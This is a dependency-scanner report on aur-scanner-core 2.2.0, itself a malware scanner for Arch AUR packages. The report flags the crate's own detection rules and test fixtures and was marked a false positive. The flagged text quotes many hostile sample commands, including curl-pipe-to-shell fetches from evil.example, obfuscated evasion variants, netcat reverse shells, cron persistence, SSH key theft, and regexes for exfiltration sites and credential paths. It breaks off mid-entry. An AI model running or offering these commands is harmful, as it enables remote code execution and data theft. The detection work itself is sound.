aur-scanner-core 2.2.0
New since 2.1.1: yara:reverse_shell
50
high
False positive. A person reviewed this verdict and found the crate benign. The evidence below is what the analysis saw.
Evidence
| Points | Signal | Where | What |
|---|---|---|---|
| 10 | new_high_finding diff · aur-scanner-core | src/analyzer/pattern.rs:405 | New since 2.1.1: yara:reverse_shell |
| 10 | new_high_finding diff · aur-scanner-core | src/rules/mod.rs:3818 | New since 2.1.1: exfiltration_endpoint |
| 10 | static:exfiltration_endpoint static · aur-scanner-core | src/analyzer/source.rs:129 | high severity exfiltration_endpoint in library code (6 places): pastebin.com |
| 10 | static:yara:reverse_shell static · aur-scanner-core | src/analyzer/pattern.rs:405 | high severity yara:reverse_shell in library code (3 places): Reverse shell idioms |
| 10 | static:yara:wallet_and_browser_theft static · aur-scanner-core | src/rules/mod.rs:1065 | high severity yara:wallet_and_browser_theft in library code: Names of cryptocurrency wallets or browser credential stores |
4 without points
| Signal | Where | What |
|---|---|---|
| static:credential_access static · aur-scanner-core | src/analyzer/metadata.rs:122 | medium severity credential_access in library code (9 places): root/.ssh/ |
| static:environment_enumeration static · aur-scanner-core | src/aur.rs:291 | medium severity environment_enumeration in library code: std::env::vars |
| static:shell_command static · aur-scanner-core | src/analyzer/deep.rs:299 | medium severity shell_command in library code (232 places): payload=$(echo aGVsbG8= | base64 -d)\u{a}# ... later ...\u{a}eval "$payload" |
| static:yara:persistence_locations static · aur-scanner-core | README.md:568 | medium severity yara:persistence_locations in library code (4 places): Paths and keys used to persist on a developer machine |
Behavior
New since the previous version
static:environment_enumeration
Profile
static:credential_access static:environment_enumeration static:exfiltration_endpoint static:shell_command static:yara:persistence_locations static:yara:reverse_shell static:yara:wallet_and_browser_theft
Static findings
15 groups
high exfiltration_endpoint library 6
pastebin.comsrc/analyzer/source.rs:129transfer.shsrc/analyzer/source.rs:133\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("https://pastebin.com/raw/abc123")\u{a}src/analyzer/source.rs:677Uploads to a throwaway file-drop or tunnels through ngrok/webhook.site/requestbin/IPFS — exfil and ad-hoc C2 endpoints.src/rules/mod.rs:2209\b(file\.io|0x0\.st|transfer\.sh|oshi\.at|bashupload\.com|temp\.sh|ngrok\.(io|app|dev)|webhook\.site|requestbin\.(com|net)|pipedream\.net|ipfs\.io/api)\bsrc/rules/mod.rs:2212curl https://pastebin.com/raw/abc | shsrc/rules/mod.rs:3818
high yara_match reverse_shell library 3
Reverse shell idiomssrc/analyzer/pattern.rs:405 src/provenance.rs:64 src/rules/mod.rs:858
high yara_match wallet_and_browser_theft library 1
Names of cryptocurrency wallets or browser credential storessrc/rules/mod.rs:1065
medium shell_command library 193
payload=$(echo aGVsbG8= | base64 -d)\u{a}# ... later ...\u{a}eval "$payload"src/analyzer/deep.rs:299post_install() {\u{a} cat <<EOF\u{a} example: echo data | base64 -d | sh\u{a}EOF\u{a}}src/analyzer/deep.rs:322install -Dm644 <(echo Zm9v | base64 -d) "$pkgdir/etc/foo"src/analyzer/deep.rs:408\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}build() {\u{a} curl https://evil.com/script.sh | bash\u{a}}\u{a}src/analyzer/pattern.rs:263curl https://example.com/src.tar.gzsrc/analyzer/pattern.rs:323wget https://example.com/src.tar.gzsrc/analyzer/pattern.rs:324true;curl https://example.com/src.tar.gzsrc/analyzer/pattern.rs:329make && wget https://example.com/src.tar.gzsrc/analyzer/pattern.rs:330x=$(curl -s https://example.com/v)src/analyzer/pattern.rs:331cmake --build build --target libcurl; curl https://example.com/xsrc/analyzer/pattern.rs:334# curl is only needed for the -git variant\u{a} curl https://evil.example/x -o ysrc/analyzer/pattern.rs:348A heredoc fed to a shell/interpreter expands a fetch (`$(curl ...)`) from {url_msg}, and the shell then executes the result. The scanner does NOT follow this reference, so what executes is unknown -- …src/analyzer/remote_exec.rs:666build() {\u{a} curl -fsSL https://evil.example/x.sh | bash\u{a}}src/analyzer/remote_exec.rs:866bash <(curl -s https://x.io/i)src/analyzer/remote_exec.rs:880build() {\u{a} curl -fsSL https://evil.example/x \\u{a} | bash\u{a}}src/analyzer/remote_exec.rs:892curl -fsSL https://evil.example/x.sh | dashsrc/analyzer/remote_exec.rs:907curl -fsSL https://evil.example/x.sh | ashsrc/analyzer/remote_exec.rs:922EVAL "$(curl https://evil.example/r)"src/analyzer/remote_exec.rs:941curl -fsSL https://example.com/data.csv | r --no-savesrc/analyzer/remote_exec.rs:959r <(curl -s https://example.com/script)src/analyzer/remote_exec.rs:960curl -fsSL https://evil.example/m | Rscript -src/analyzer/remote_exec.rs:970Rscript <(curl -s https://evil.example/n)src/analyzer/remote_exec.rs:971curl -fsSL https://evil.example/x.sh | /bin/shsrc/analyzer/remote_exec.rs:989curl -fsSL https://evil.example/x.sh | busybox shsrc/analyzer/remote_exec.rs:990curl -fsSL https://evil.example/x.sh | /usr/bin/env shsrc/analyzer/remote_exec.rs:991curl -fsSL https://evil.example/x.sh | command busybox shsrc/analyzer/remote_exec.rs:992busybox sh <(curl -s https://evil.example/i)src/analyzer/remote_exec.rs:993curl -fsSL https://evil.example/x | /usr/bin/python3 -src/analyzer/remote_exec.rs:995curl -fsSL https://evil.example/x | nodesrc/analyzer/remote_exec.rs:996curl -fsSL https://evil.example/x | deno run -src/analyzer/remote_exec.rs:997curl -fsSL https://evil.example/x | env python3src/analyzer/remote_exec.rs:998python3 <(curl -s https://evil.example/i)src/analyzer/remote_exec.rs:1014perl <(curl -s https://evil.example/i)src/analyzer/remote_exec.rs:1015node <(curl -s https://evil.example/i)src/analyzer/remote_exec.rs:1016python3 -c "$(curl -s https://evil.example/i)"src/analyzer/remote_exec.rs:1017perl -e "$(curl -s https://evil.example/i)"src/analyzer/remote_exec.rs:1018node -e "$(curl -s https://evil.example/i)"src/analyzer/remote_exec.rs:1019ruby -e "$(wget -qO- https://evil.example/i)"src/analyzer/remote_exec.rs:1020curl -s https://evil.example/x | expectsrc/analyzer/remote_exec.rs:1035curl -s https://evil.example/x | guilesrc/analyzer/remote_exec.rs:1036curl -s https://evil.example/x | scalasrc/analyzer/remote_exec.rs:1037curl -s https://evil.example/x | clojuresrc/analyzer/remote_exec.rs:1038curl -s https://evil.example/x | racketsrc/analyzer/remote_exec.rs:1039curl -s https://evil.example/x | elixirsrc/analyzer/remote_exec.rs:1040curl -s https://evil.example/x | rakusrc/analyzer/remote_exec.rs:1041curl -s https://evil.example/x | crystalsrc/analyzer/remote_exec.rs:1042curl -s https://evil.example/x | bbsrc/analyzer/remote_exec.rs:1043curl -s https://evil.example/x | ts-nodesrc/analyzer/remote_exec.rs:1044curl -s https://evil.example/x | runhaskellsrc/analyzer/remote_exec.rs:1045curl -s https://evil.example/x | toybox shsrc/analyzer/remote_exec.rs:1046curl -s https://evil.example/x | Rsrc/analyzer/remote_exec.rs:1047php -r "$(curl -s https://evil.example/x)"src/analyzer/remote_exec.rs:1065perl -ne "$(curl -s https://evil.example/x)"src/analyzer/remote_exec.rs:1066ruby -ropen-uri -e "$(curl -s https://evil.example/x)"src/analyzer/remote_exec.rs:1067python3 -B -c "$(curl -s https://evil.example/x)"src/analyzer/remote_exec.rs:1068python3 <<< "$(curl -s https://evil.example/x)"src/analyzer/remote_exec.rs:1069curl -s https://x/x | Rfoosrc/analyzer/remote_exec.rs:1105curl -s https://x/x | bbtoolsrc/analyzer/remote_exec.rs:1105curl -fsSL https://example.com/x | /usr/bin/tee outsrc/analyzer/remote_exec.rs:1120curl -fsSL https://example.com/x | env grep foosrc/analyzer/remote_exec.rs:1121curl -fsSL https://example.com/x | busybox catsrc/analyzer/remote_exec.rs:1122post_install() {\u{a} cat <<EOF\u{a} To set up, run: curl -fsSL https://x.io/i.sh | sh\u{a}EOF\u{a}}src/analyzer/remote_exec.rs:1139documented curl|sh in a printed heredoc must not fire EXEC-REMOTE: {f:?}src/analyzer/remote_exec.rs:1145"cu""rl" -fsSL https://evil.example/x.sh | shsrc/analyzer/remote_exec.rs:1155curl -O https://example.com/src.tar.gzsrc/analyzer/remote_exec.rs:1169pkgname=a\u{a}curl x|sh\u{a}src/aur.rs:943The package raised findings it did not raise when it was last scanned. Reported at the severity of the worst NEW finding: a long-standing SKIP checksum is not news, a newly-appeared curl|sh is. Silent…src/catalog/mod.rs:289curl https://c2.evil.example/beaconsrc/neturl.rs:371wget hxxps://evil[.]example/xsrc/neturl.rs:375 src/threat_intel/ioc.rs:356pkgname=t\u{a}pkgver=1\u{a}pkgrel=1\u{a}\u{a}build() {\u{a} echo "}"\u{a} curl https://evil/x | sh\u{a}}\u{a}src/parser/static_parser.rs:717curl https://evil/x | shsrc/parser/static_parser.rs:725| shsrc/provenance.rs:49|shsrc/provenance.rs:49base64 -dsrc/provenance.rs:59curlsrc/provenance.rs:74wgetsrc/provenance.rs:74x=curl\u{a}$x https://evil/p | shsrc/resolve.rs:751curl https://evil/p | shsrc/resolve.rs:752wget https://evil/p -O- | bashsrc/resolve.rs:758c=$(printf '\x63url')\n$c https://evil | shsrc/resolve.rs:765curl https://evil | shsrc/resolve.rs:769 src/resolve.rs:776 src/resolve.rs:783 src/resolve.rs:789 src/resolve.rs:875 src/resolve.rs:888 src/resolve.rs:890 src/resolve.rs:896 src/resolve.rs:898 src/resolve.rs:912 src/resolve.rs:920 src/resolve.rs:941 src/resolve.rs:943 src/resolve.rs:945 src/resolve.rs:947c="cu""rl"\u{a}$c https://evil | shsrc/resolve.rs:775a=curl\u{a}b=a\u{a}${!b} https://evil | shsrc/resolve.rs:782a=cur\u{a}b=${a}l\u{a}$b https://evil | shsrc/resolve.rs:788p="curl https://evil | sh"\u{a}eval $psrc/resolve.rs:794eval curl https://evil | shsrc/resolve.rs:795$undefined https://x | shsrc/resolve.rs:823a=curl\u{a}a=$(date)\u{a}$a https://evil | shsrc/resolve.rs:841curl https://evilsrc/resolve.rs:844x=curl\u{a}$x https://evil | sh\u{a}makesrc/resolve.rs:851build() {\u{a} x=curl\u{a}}\u{a}package() {\u{a} $x https://evil | sh\u{a}}src/resolve.rs:864export x=curl\u{a}$x https://evil | shsrc/resolve.rs:874a=cur && b=${a}l && $b https://evil | shsrc/resolve.rs:889curl https://evil | $lsrc/resolve.rs:913package() {\u{a} $_c https://evil | sh\u{a}}\u{a}_c=curlsrc/resolve.rs:919cmd=(curl -s https://evil); "${cmd[@]}" | shsrc/resolve.rs:925curl -s https://evil | shsrc/resolve.rs:926curl${IFS}-s${IFS}https://evil|shsrc/resolve.rs:931curl -s https://evil|shsrc/resolve.rs:932 src/resolve.rs:934curl$IFS$9-s https://evil|shsrc/resolve.rs:933echo Y3VybCBodHRwczovL2V2aWwgfCBzaA== | base64 -d | shsrc/resolve.rs:940base64 -d <<< Y3VybCBodHRwczovL2V2aWwgfCBzaA== | shsrc/resolve.rs:942echo 6375726c2068747470733a2f2f6576696c207c207368 | xxd -r -p | shsrc/resolve.rs:944printf '\x63\x75\x72\x6c https://evil' | shsrc/resolve.rs:946echo iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJ | base64 -d > icon.pngsrc/resolve.rs:953echo {big} | base64 -d | shsrc/resolve.rs:960dl() { curl -s https://evil -o /tmp/x; }\u{a}build() {\u{a} dl\u{a}}\u{a}unrelated() {\u{a} wget https://x\u{a}}src/resolve.rs:966curl -s https://evilsrc/resolve.rs:968/opt/[^/]+/[^/]+\.(py|sh|bin)src/rules/mod.rs:1117(bit\.ly|tinyurl|t\.co|goo\.gl|is\.gd|v\.gd|shorte\.st|adf\.ly)/src/rules/mod.rs:1681(cp|mv|install).*(/usr/local/share|~/.local/share)/[^/]+\.(bin|elf|py|sh)src/rules/mod.rs:1794mkfifo paired with nc/openssl/ /dev/tcp — the classic backpipe reverse shell that evades `nc -e` detection.src/rules/mod.rs:2119A reverse shell via busybox nc -e, telnet piped to a shell, or ncat --ssl -e.src/rules/mod.rs:2132curl uploading a local file (-T/--upload-file/-F/--data-urlencode) — used to send harvested data to an attacker endpoint.src/rules/mod.rs:2167wget POST exfiltrationsrc/rules/mod.rs:2179wget --post-data/--post-file sending local data to a remote endpoint.src/rules/mod.rs:2180(>>?|tee\s+-?a?)\s*\S*/etc/(passwd|shadow|group|gshadow)\bsrc/rules/mod.rs:2345sh -c "$(curl ...)" — fetches and runs remote code without an explicit pipe, evading the curl|sh rules.src/rules/mod.rs:2545`make -f -` / `make -f /dev/stdin` executes a Makefile fed on standard input (commonly the tail of a `curl ... | make -f -` fetch-and-run). A Makefile is arbitrary shell recipes, so this is RCE from a…src/rules/mod.rs:2589curl https://malicious.com/script.sh | bashsrc/rules/mod.rs:2645echo '* * * * * curl evil.sh|sh' | crontab -src/rules/mod.rs:2734curl -s https://evil.example/c > /etc/cron.d/pkgsrc/rules/mod.rs:2738base64 -d payload.b64 >> /etc/cron.hourly/pkgsrc/rules/mod.rs:2739build() {\u{a} dl=wget\u{a} $dl -qO- https://evil.example/p | sh\u{a}}src/rules/mod.rs:2860printf 'hi'; echo "$(curl https://evil/x)" > ~/.profilesrc/rules/mod.rs:2924build() {\u{a} curl https://evil/x.sh \\u{a} | bash\u{a}}src/rules/mod.rs:2940echo 'payload' | base64 -d | shsrc/rules/mod.rs:3010curl -fsSL https://evil/x | dashsrc/rules/mod.rs:3144curl -fsSL https://evil/x | ashsrc/rules/mod.rs:3157curl -fsSL https://evil/x | mkshsrc/rules/mod.rs:3158 src/rules/mod.rs:3213wget -qO- https://evil/x | ashsrc/rules/mod.rs:3159curl -fsSL https://evil/x | /bin/shsrc/rules/mod.rs:3202curl -fsSL https://evil/x | /usr/bin/bashsrc/rules/mod.rs:3203curl -fsSL https://evil/x | busybox shsrc/rules/mod.rs:3204curl -fsSL https://evil/x | busybox ashsrc/rules/mod.rs:3205curl -fsSL https://evil/x | env shsrc/rules/mod.rs:3206curl -fsSL https://evil/x | /usr/bin/env shsrc/rules/mod.rs:3207curl -fsSL https://evil/x | env -i shsrc/rules/mod.rs:3208curl -fsSL https://evil/x | env FOO=bar shsrc/rules/mod.rs:3209curl -fsSL https://evil/x | command busybox shsrc/rules/mod.rs:3210curl -fsSL https://evil/x | nice dashsrc/rules/mod.rs:3211curl -fsSL https://evil/x | yashsrc/rules/mod.rs:3214curl -fsSL https://evil/x | xonshsrc/rules/mod.rs:3215curl -fsSL https://evil/x | nusrc/rules/mod.rs:3216curl -fsSL https://evil/x | oilsrc/rules/mod.rs:3217wget -qO- https://evil/x | /bin/shsrc/rules/mod.rs:3226sqlite3 mydb ".system curl evil | sh"src/rules/mod.rs:3239curl https://e/x | make -f -src/rules/mod.rs:3270curl -fsSL https://x | /usr/bin/tee out.txtsrc/rules/mod.rs:3300curl -fsSL https://x | env grep foosrc/rules/mod.rs:3301curl -fsSL https://x | nice makesrc/rules/mod.rs:3302curl -fsSL https://x | command lssrc/rules/mod.rs:3303curl -fsSL https://x | /bin/numbersrc/rules/mod.rs:3304curl -fsSL https://x | busybox catsrc/rules/mod.rs:3305curl -fsSL https://x | awkward-toolsrc/rules/mod.rs:3306chmod +x /tmp/xsrc/rules/mod.rs:3432chmod +x "$pkgdir/usr/bin/foo"src/rules/mod.rs:3527./configure --with-func -e somethingsrc/rules/mod.rs:3608nc -e /bin/sh 10.0.0.1 4444src/rules/mod.rs:3623/usr/bin/nc -e /bin/sh 10.0.0.1 4444src/rules/mod.rs:3627cat /etc/passwd | nc -e /bin/sh 10.0.0.1 4444src/rules/mod.rs:3630foo && nc -e /bin/sh 10.0.0.1 4444src/rules/mod.rs:3631curl https://pastebin.com/raw/abc | shsrc/rules/mod.rs:3818warning() { "$@" | sh; }\u{a}function note {\u{a} eval "$1"\u{a}}\u{a}alias plain='sh -c'\u{a}src/rules/shadow.rs:469warning() { "$@" | sh; }\u{a}src/rules/shadow.rs:489curl -s https://evil.example/x | shsrc/rules/shadow.rs:492(?:elvish|xonsh|ksh93|pdksh|loksh|rbash|bash|dash|mksh|oksh|posh|yash|fish|tcsh|oils|zsh|csh|ksh|ash|oil|osh|nu|sh)src/textutil.rs:459(?:powershell|runhaskell|runghc|python(?:3(?:\.\d+)?|2)?|pypy|perl6|perl|ruby|php|nodejs|node|luajit|lua|tclsh|wish|deno|bun|(?-i:Rscript)|julia|gawk|mawk|nawk|awk|groovy|expect|guile|scala|clojure|cl…src/textutil.rs:480"cu""rl" -fsSL https://evil/x | shsrc/textutil.rs:601curl -fsSL https://evil/x | shsrc/textutil.rs:602curl -fsSL https://evil/x | bashsrc/textutil.rs:612curl evilsrc/textutil.rs:625x | shsrc/textutil.rs:665curl -fsSL https://evil/x \\u{a} | bashsrc/textutil.rs:753curl https://evil.example/beaconsrc/threat_intel/ioc.rs:354curl https://notevil.example/xsrc/threat_intel/ioc.rs:363
medium shell_command test 39
_c=curl\u{a}package() {\u{a} $_c -s http://e.example/x | sh\u{a}}tests/detection_hardening.rs:61package() {\u{a} $_c -s http://e.example/x | sh\u{a}}\u{a}_c=curltests/detection_hardening.rs:73build() {\u{a} c=curl\u{a} true\u{a}}\u{a}package() {\u{a} $c -s http://e.example/x | sh\u{a}}tests/detection_hardening.rs:83package() {\u{a} c=curl\u{a} $c -s http://e.example/x | sh\u{a}}tests/detection_hardening.rs:105curl -s http://e.example/x | rev | shtests/detection_hardening.rs:131curl -s http://e.example/x | tr a-z n-za-m | bashtests/detection_hardening.rs:132wget -qO- http://e.example/x | sed s/a/b/ | rev | shtests/detection_hardening.rs:133package() {\u{a} curl -s http://e.example/x | rev | tee out\u{a} curl -s http://e.example/y || sh -c 'echo failed'\u{a}}tests/detection_hardening.rs:144package() {\u{a} curl -o f http://e.example/x\u{a} sh f\u{a}}tests/detection_hardening.rs:205package() {\u{a} curl -o ~/.x http://e.example/x; bash ~/.x\u{a}}tests/detection_hardening.rs:206 tests/detection_hardening.rs:223package() {\u{a} f=/tmp/f\u{a} curl -o $f http://e.example/x\u{a} bash $f\u{a}}tests/detection_hardening.rs:207package() {\u{a} wget -O f http://e.example/x\u{a} chmod +x f\u{a} ./f\u{a}}tests/detection_hardening.rs:208package() {\u{a} curl -o t http://e.example/x\u{a} ldd ./t\u{a}}tests/detection_hardening.rs:211package() {\u{a} curl -fsSLo f http://e.example/x && . ./f\u{a}}tests/detection_hardening.rs:212package() {\u{a} curl -O http://e.example/x.sh\u{a} bash x.sh\u{a}}tests/detection_hardening.rs:213package() {\u{a} curl -o data.tar.gz http://e.example/x.tar.gz\u{a} tar xf data.tar.gz\u{a} chmod +x helper.sh\u{a} sh helper.sh\u{a} wget -o wget.log -O out.bin http://e.example/y\u{a} cat out.…tests/detection_hardening.rs:233f() { curl -s http://e.example/x | sh; }\u{a}package() {\u{a} f\u{a}}tests/detection_hardening.rs:246package() {\u{a} cmd=(curl -s http://e.example/x); "${cmd[@]}" | sh\u{a}}tests/detection_hardening.rs:276package() {\u{a} bash <<EOF\u{a}$(curl -s http://e.example/x)\u{a}EOF\u{a}}tests/detection_hardening.rs:289package() {\u{a} cat <<EOF > "$pkgdir/usr/share/doc/t/README"\u{a}Run: $(curl -s http://e.example/x) to see\u{a}EOF\u{a} bash <<< word\u{a} make\u{a}}tests/detection_hardening.rs:299curl${IFS}-s${IFS}http://e.example/x|shtests/detection_hardening.rs:311wget${IFS}-qO-${IFS}http://e.example/x|shtests/detection_hardening.rs:313package() {{\u{a} echo {b64} | base64 -d | sh\u{a}}}tests/detection_hardening.rs:364package() {{\u{a} echo {hex} | xxd -r -p | sh\u{a}}}tests/detection_hardening.rs:379package() {\u{a} echo aGVsbG8gd29ybGQsIHRoaXMgaXMgZmluZQ== | base64 -d > "$pkgdir/usr/share/t/msg"\u{a} echo iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJ | base64 -d > "$pkgdir/usr/share/t/i.png"…tests/detection_hardening.rs:390curl -o ~/.x http://e.example/xtests/detection_hardening.rs:503warning() {\u{a} "$@" | sh\u{a}}\u{a}post_install() {\u{a} warning curl -s https://evil.example/x\u{a}}\u{a}tests/package_scan_hardening.rs:51plain() { "$@" | sh; }\u{a}prepare() { plain wget -qO- https://evil.example/x; }\u{a}tests/package_scan_hardening.rs:64note() { sh -c "$1"; }\u{a}package() {\u{a} note "curl -s https://evil.example/x | sh"\u{a}}\u{a}tests/package_scan_hardening.rs:72msg2() { eval "$1"; }\u{a}package() {\u{a} msg2 "curl -s https://evil.example/x | sh"\u{a}}\u{a}tests/package_scan_hardening.rs:81msg() { eval "$@"; }\u{a}post_install() {\u{a} msg 'curl -s https://evil.example/x | sh'\u{a}}\u{a}tests/package_scan_hardening.rs:96install=zz.install\u{a}warning() { "$@" | sh; }\u{a}package() { true; }\u{a}tests/package_scan_hardening.rs:105package() {\u{a} note "curl -s https://example.org/x | sh is what upstream suggests"\u{a}}\u{a}tests/package_scan_hardening.rs:121msg() { echo "==> $1" >&2; }\u{a}package() {\u{a} msg "curl -s https://example.org/x | sh is what upstream suggests"\u{a}}\u{a}tests/package_scan_hardening.rs:131curl -s https://evil.example/x | sh\u{a}tests/package_scan_hardening.rs:147 tests/package_scan_hardening.rs:157 tests/package_scan_hardening.rs:174curl is a tool for fetching URLs.\u{a}tests/package_scan_hardening.rs:195
medium credential_access library 9
root/.ssh/src/analyzer/metadata.rs:122~/\.ssh/src/rules/mod.rs:954\$HOME/\.ssh/src/rules/mod.rs:957/home/[^/]+/\.ssh/src/rules/mod.rs:960\.aws/credentialssrc/rules/mod.rs:1006\.kube/configsrc/rules/mod.rs:1009Login Datasrc/rules/mod.rs:1065(\.git-credentials|\.config/gcloud|\.docker/config\.json|\.npmrc|\.pypirc|\.cargo/credentials|\.terraformrc|\.config/gh/hosts)src/rules/mod.rs:2240cat ~/.ssh/id_rsa > /tmp/stolensrc/rules/mod.rs:3413
medium yara_match persistence_locations library 3
Paths and keys used to persist on a developer machineREADME.md:568 src/rules/mod.rs:616 src/validate.rs:8
medium environment_enumeration library 1
std::env::varssrc/aur.rs:291
medium yara_match persistence_locations test 1
Paths and keys used to persist on a developer machinetests/detection_hardening.rs:326
low network_access library 15
reqwest::Responsesrc/aur.rs:36 src/threat_intel/remote.rs:65reqwest::Clientsrc/aur.rs:126 src/threat_intel/remote.rs:47reqwest::Client::buildersrc/aur.rs:146 src/threat_intel/remote.rs:48reqwest::redirect::Policy::nonesrc/aur.rs:149 src/threat_intel/remote.rs:51reqwest::Urlsrc/aur.rs:163reqwest::Url::parsesrc/aur.rs:164 src/aur.rs:381reqwest::Errorsrc/error.rs:88 src/error.rs:89reqwest::StatusCode::NOT_FOUNDsrc/threat_intel/remote.rs:157 src/threat_intel/remote.rs:190
low process_spawn library 10
tokio::process::Command::newsrc/aur.rs:289 src/aur.rs:673 src/aur.rs:712 src/aur.rs:743 src/aur.rs:753 src/aur.rs:900 src/depgraph.rs:465 src/depgraph.rs:485tokio::process::Commandsrc/aur.rs:495std::process::Command::newsrc/lib.rs:627
low foreign_functions library 1
extern blocksrc/history.rs:141
info url_literal library 351
\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("https://example.com/app-1.0.tar.gz"\u{a} "https://example.com/app-1.0.tar.gz.sig"\u{a} "local-fix.patch")\u{a}sha256sums=('abcd…src/analyzer/checksum.rs:365https://example.com/app-1.0.tar.gz.sigsrc/analyzer/checksum.rs:405\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("app.tar.gz::https://example.com/download?id=42"\u{a} "https://example.com/other.tar.gz")\u{a}sha256sums=('SKIP'\u{a} 'abcd1…src/analyzer/checksum.rs:425\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("https://example.com/a.tar.gz" "https://example.com/b.tar.gz")\u{a}sha256sums=('SKIP' 'SKIP')\u{a}src/analyzer/checksum.rs:448\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("https://example.com/file.tar.gz")\u{a}src/analyzer/checksum.rs:471\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("https://example.com/file.tar.gz")\u{a}md5sums=('abc123')\u{a}src/analyzer/checksum.rs:488\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("git+https://github.com/user/repo.git")\u{a}sha256sums=('SKIP')\u{a}src/analyzer/checksum.rs:507\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("git+https://github.com/user/repo.git"\u{a} "https://example.com/file.tar.gz")\u{a}sha256sums=('SKIP'\u{a} 'abc123def456')…src/analyzer/checksum.rs:532\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("https://example.com/a.tar.gz"\u{a} "https://example.com/b.tar.gz")\u{a}sha256sums=('realhash000000000000000000000000000000000000000000…src/analyzer/checksum.rs:563\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("git+https://github.com/u/r.git#commit=abcdef1234567890")\u{a}sha256sums=('SKIP')\u{a}src/analyzer/checksum.rs:590\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("https://example.com/file.tar.gz")\u{a}sha256sums=('SKIP')\u{a}src/analyzer/checksum.rs:610pkgname=a\u{a}pkgver=1\u{a}pkgrel=1\u{a}validpgpkeys=('ABCDEF0123456789')\u{a}source=('https://x/a.tar.gz')\u{a}src/analyzer/metadata.rs:590pkgname=a\u{a}pkgver=1\u{a}pkgrel=1\u{a}validpgpkeys=('ABCDEF0123456789')\u{a}source=('https://x/a.tar.gz' 'https://x/a.tar.gz.sig')\u{a}src/analyzer/metadata.rs:599\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}build() {\u{a} curl https://evil.com/script.sh | bash\u{a}}\u{a}src/analyzer/pattern.rs:263pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}build() {\u{a} CURL https://evil.com/x -o out\u{a}}\u{a}src/analyzer/pattern.rs:285curl https://example.com/src.tar.gzsrc/analyzer/pattern.rs:323wget https://example.com/src.tar.gzsrc/analyzer/pattern.rs:324fetch https://example.com/src.tar.gzsrc/analyzer/pattern.rs:325/usr/bin/curl https://example.com/src.tar.gzsrc/analyzer/pattern.rs:326./wget https://example.com/src.tar.gzsrc/analyzer/pattern.rs:327\curl https://example.com/src.tar.gzsrc/analyzer/pattern.rs:328true;curl https://example.com/src.tar.gzsrc/analyzer/pattern.rs:329make && wget https://example.com/src.tar.gzsrc/analyzer/pattern.rs:330x=$(curl -s https://example.com/v)src/analyzer/pattern.rs:331$curl https://example.com/src.tar.gzsrc/analyzer/pattern.rs:332${wget} https://example.com/src.tar.gzsrc/analyzer/pattern.rs:333cmake --build build --target libcurl; curl https://example.com/xsrc/analyzer/pattern.rs:334# curl is only needed for the -git variant\u{a} curl https://evil.example/x -o ysrc/analyzer/pattern.rs:348# curl https://example.com is mirrored in source=()src/analyzer/pattern.rs:353curl\u{9}https://example.com/x -o ysrc/analyzer/pattern.rs:361"curl" https://example.com/x -o ysrc/analyzer/pattern.rs:362'w'get https://example.com/xsrc/analyzer/pattern.rs:363\u{a}pkgname=test\u{a}pkgver=1.0\u{a}pkgrel=1\u{a}source=("https://example.com/test.tar.gz")\u{a}sha256sums=('abc123')\u{a}build() {\u{a} make\u{a}}\u{a}package() {\u{a} make DESTDIR="$pkgdir" i…src/analyzer/pattern.rs:378://src/analyzer/remote_exec.rs:293 src/analyzer/remote_exec.rs:352 src/analyzer/remote_exec.rs:457 src/neturl.rs:54 src/neturl.rs:95 src/neturl.rs:128 src/neturl.rs:204 src/parser/mod.rs:249 src/parser/mod.rs:252 src/threat_intel/remote.rs:101build() {\u{a} curl -fsSL https://evil.example/x.sh | bash\u{a}}src/analyzer/remote_exec.rs:866https://evil.example/x.shsrc/analyzer/remote_exec.rs:873 src/analyzer/remote_exec.rs:1161 src/sbom.rs:607 src/sbom.rs:626bash <(curl -s https://x.io/i)src/analyzer/remote_exec.rs:880build() {\u{a} curl -fsSL https://evil.example/x \\u{a} | bash\u{a}}src/analyzer/remote_exec.rs:892curl -fsSL https://evil.example/x.sh | dashsrc/analyzer/remote_exec.rs:907curl -fsSL https://evil.example/x.sh | ashsrc/analyzer/remote_exec.rs:922CURL -fsSL https://evil.example/x.sh | SHsrc/analyzer/remote_exec.rs:938Wget -qO- https://evil.example/x.sh | Bashsrc/analyzer/remote_exec.rs:939BASH <(CURL -s https://evil.example/i)src/analyzer/remote_exec.rs:940EVAL "$(curl https://evil.example/r)"src/analyzer/remote_exec.rs:941curl -fsSL https://example.com/data.csv | r --no-savesrc/analyzer/remote_exec.rs:959r <(curl -s https://example.com/script)src/analyzer/remote_exec.rs:960curl -fsSL https://evil.example/m | Rscript -src/analyzer/remote_exec.rs:970Rscript <(curl -s https://evil.example/n)src/analyzer/remote_exec.rs:971curl -fsSL https://evil.example/x.sh | /bin/shsrc/analyzer/remote_exec.rs:989curl -fsSL https://evil.example/x.sh | busybox shsrc/analyzer/remote_exec.rs:990curl -fsSL https://evil.example/x.sh | /usr/bin/env shsrc/analyzer/remote_exec.rs:991curl -fsSL https://evil.example/x.sh | command busybox shsrc/analyzer/remote_exec.rs:992busybox sh <(curl -s https://evil.example/i)src/analyzer/remote_exec.rs:993curl -fsSL https://evil.example/x | /usr/bin/python3 -src/analyzer/remote_exec.rs:995curl -fsSL https://evil.example/x | nodesrc/analyzer/remote_exec.rs:996curl -fsSL https://evil.example/x | deno run -src/analyzer/remote_exec.rs:997curl -fsSL https://evil.example/x | env python3src/analyzer/remote_exec.rs:998python3 <(curl -s https://evil.example/i)src/analyzer/remote_exec.rs:1014perl <(curl -s https://evil.example/i)src/analyzer/remote_exec.rs:1015node <(curl -s 